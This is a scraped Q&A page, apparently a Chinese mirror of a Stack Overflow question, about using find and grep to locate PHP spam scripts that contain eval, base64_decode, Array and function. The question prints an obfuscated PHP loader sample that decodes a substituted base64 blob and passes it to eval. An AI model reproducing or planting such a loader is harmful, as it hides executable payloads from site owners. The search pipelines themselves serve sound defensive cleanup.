Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/linux/28.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
查找具有4种模式的php文件_Php_Linux_Grep_Centos_Find - Fatal编程技术网

查找具有4种模式的php文件

查找具有4种模式的php文件,php,linux,grep,centos,find,Php,Linux,Grep,Centos,Find,我需要找到在linux服务器上具有完全相同的4种模式的php脚本 该文件需要有4个模式/字,而不仅仅是一个或两个 模式: 评估 base64_解码 排列 作用 我需要这个来找到编码的垃圾邮件脚本 我已经尝试了find,但我不知道如何匹配精确的4种模式 像这样: <?php function isanrl($nhfxslsmo, $rrkiu){$m = ''; for($i=0; $i < strlen($nhfxslsmo); $i++){$m .= isset($rrkiu[

我需要找到在linux服务器上具有完全相同的4种模式的php脚本

该文件需要有4个模式/字,而不仅仅是一个或两个

模式:

  • 评估
  • base64_解码
  • 排列
  • 作用
我需要这个来找到编码的垃圾邮件脚本

我已经尝试了find,但我不知道如何匹配精确的4种模式

像这样:

<?php
function isanrl($nhfxslsmo, $rrkiu){$m = ''; for($i=0; $i < strlen($nhfxslsmo); $i++){$m .= isset($rrkiu[$nhfxslsmo[$i]]) ? $rrkiu[$nhfxslsmo[$i]] : $nhfxslsmo[$i];}
$dbklusmzx="base64_decode";return $dbklusmzx($m);}
$mpvqrt = 'XLgWYavbkPXhdna5ruv5PnoVk5rNSZea4Z1FK1FIYpeFPqBgx8f76Lv7Pna5ruv5r5rNSsIFK1F'.
'IYpeFPqBgx8f76pi9Pna9kpB2xLgV6gv3Yp2gd51fm8DG8DzbkPRJxLg0kavNYp2Fx8f1C'.
'4NC8uguCLgbrna3C8RJU3awaDawCwDCT1hddiv4RadpRad6d2zSUiv4RUoLd23fHwIMA5SGSIhddiv4R'.
'C8wR5kPB6S7SMPaNMjMdxSs3fdLdEksNC8PdgxQa56MzMjPBgBcRJkpec6nRgCQBgrugE6LgtkwfDruabCwDG873'.
'=';
$qqkghzt = Array('1'=>'w', '0'=>'t', '3'=>'0', '2'=>'1', '5'=>'y', '4'=>'T', '7'=>'n', '6'=>'b', '9'=>'4', '8'=>'C', 'A'=>'L', 'C'=>'K', 'B'=>'N', 'E'=>'h', 'D'=>'k$
eval(isanrl($mpvqrt, $qqkghzt));?>

这将列出当前目录(包括子目录)中包含所有四种模式的所有.php文件(假定文件名中没有空格或有趣的字符):


find-print0
grep-Z
选项用于处理带有空格或有趣字符的任何路径。)

转到代码基根,然后尝试
grep'eval'-rgrep'base64_decode'| grep'Array'| grep'function'
。我想这会列出你的文件和所有4个。
find * -name "*.php" -print0 |
  xargs grep -Zl eval |
  xargs grep -Zl base64_decode |
  xargs grep -Zl Array |
  xargs grep -l function